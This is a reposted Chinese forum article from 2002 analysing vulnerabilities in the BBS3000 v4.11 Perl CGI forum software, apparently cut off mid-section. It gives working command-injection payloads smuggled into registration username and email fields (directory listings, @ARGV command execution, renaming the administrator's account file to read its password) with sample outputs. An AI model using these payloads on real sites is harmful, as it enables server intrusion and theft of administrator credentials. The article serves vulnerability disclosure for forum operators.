找回密码
 注册

QQ登录

只需一步,快速开始

查看: 3584|回复: 0

窥探YUZI的BBS3000社区安全性--1

[复制链接]
发表于 2002-2-4 09:43:11 | 显示全部楼层 |阅读模式
窥探YUZI的BBS3000社区安全性--1
文章类型:漏洞分析 文章加入时间:2002年1月24日22:24
--------------------------------------------------------------------------------

窥探YUZI的BBS3000社区安全性
—————————————————————————————————
badboy-club@21cn.com
部分漏洞提供者:
adver
x.z
这并不是什么权威教材,只适合菜鸟了解某些免费提供的论坛程序存在的不
安全面,切莫用此方法在国内做尝试,如果你偏要如此,那么由此引起的一
切法律后果由你自己负责。
本文只允许在网络任意转载,但须保留文章的完整性,如把本文作为经济目
的使用,或者未经本人许可进行印刷、光盘杂志、等出版性质的行为,本人
将保留侵权控告的权利。
—————————————————————————————————
第一篇
****基本漏洞测试*****
    YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛,
但不少用户很少去探测这论坛的安全性,使用者很大程度上信任作者,而实际上
这些免费的版本和汉化修改论坛,往往存在一些致命的漏洞,本文的目的在于揭
示该论坛不为人知的漏洞,让大家更好的使用这类论坛,并且保证自身资料的隐
蔽和服务器的安全。
测试版本:bbs3000 v4.11
系统平台:win2k adv server=sp3 + iis 5.0  +ActivePerl 5.6.1.626
应用程序映射:perl.exe %s %s 动作:GET,HEAD,POST
        或者:perlIS.dll 动作:GET,HEAD,POST
测试情况:
一、用户名为dir的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射
在站点建立一目录(或者虚拟目录)bbs3000,按论坛作者提供的说明书,默认安
装BBS3000 v4.11版本,我们注册一用户名为dir,密码为system,信箱为
#badboy@badclub.org(#任意信箱都可以),然后我们在IE地址栏处输入:
http://192.168.0.1/bbs3000/yhzl/dir.cgi
F:\new\bbs3000\bbs3000 的目录
2002-01-16  19:26       <DIR>          .
2002-01-16  19:26       <DIR>          ..
2002-01-16  22:42               43,247 bbs.cgi
2002-01-16  22:47               50,934 cjyh.cgi
2002-01-16  22:43               38,551 bbs1.cgi
2002-01-16  22:48                6,401 cookie.cgi
2002-01-16  22:42                2,138 affiche.cgi
2002-01-16  22:43               22,434 bbs2.cgi
(以下略)
              34 个文件        417,611 字节
              15 个目录  1,830,944,768 可用字节

2、采用应用程序映射:perlIS.dll应用程序映射
得到的显示页面为:
'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output
测试解释:在应用程序映射中,一个扩展名只能由一个程序去映射,在采用
perl.exe时,BBS3000存在查看网站目录和文件的漏洞,在采用perlIS.dll时,
则有暴露网站在服务器上的绝对地址的漏洞。
二、用户名为system的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射
注册一用户名为system,密码为空格键(或者密码为system),信箱为
'dir c:'#@badclub.org,然后我们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为:
C:\ 的目录
2001-11-27  20:56                1,002 FRUNLOG.TXT
2001-11-27  20:49       <DIR>          WINNT
(以下略)
              10 个文件         29,583 字节
               9 个目录    946,327,552 可用字节
当密码为其他时,则显示:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
aborted due to compilation errors.
我们还可以这样测试用户名为system的情况,密码仍然为空格键
(或者密码为system)但把信箱修改为@ARGV##badboy@badclub.org,然后我
们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
D:\ 的目录
2001-01-18  23:23       <DIR>          tools
2001-11-27  21:18       <DIR>          98tools
2001-04-08  13:08       <DIR>          W2Kreskit
2001-11-06  19:52       <DIR>          NOCDKEY-PROT
2001-12-01  21:32       <DIR>          WINNT
2001-12-01  21:39       <DIR>          Documents and Settings
2001-12-01  21:41       <DIR>          Program Files
2001-12-01  21:53       <DIR>          Inetpub
2002-01-16  19:17       <DIR>          pl
(以下省略部分内容)   
           12 个文件     15,068,818 字节
              15 个目录  2,371,317,760 可用字节
'0' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
2、采用应用程序映射:perlIS.dll应用程序映射
用户名为system,密码为空格键(或者密码为system),信箱为'dir c:'#@badclub.org,
然后我们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为:
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
把信箱修改为@ARGV##badboy@badclub.org,然后我们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
三、用户名为;字符的情况
1、采用应用程序映射:perlIS.dll应用程序映射
注册一用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ,
(这里假设badboy为该论坛的社区区长,也就是该论坛最大权限的用户),然后我们
在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
嗯,怎么还是和上面的perl.dll例子一样啊??后面的就是关键了,你再输入这样
的看看
http://192.168.0.1/bbs3000/yhzl/badboy.txt
返回的页面显示为
badpass badboy http://192.168.0.1 2002-01-16
显示的内容前面就是密码、用户
天啊,事情怎么那么容易呀!!~_*
经测试,用户名为system密码为一个空格键(或者为system),信箱为
rename "badboy.cgi","badboy.txt";#@badclub.org 的时候,步骤和上面一样,同样
可以获得相同的结果。
2、采用应用程序映射:perl.exe %s %s应用程序映射
用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are:
*滑块验证:
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|小黑屋|宽带技术网 |网站地图

粤公网安备 44152102000001号

GMT+8, 2024-5-14 06:44 , Processed in 0.018035 second(s), 3 queries , Redis On.

Powered by Discuz! X3.5 Licensed

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表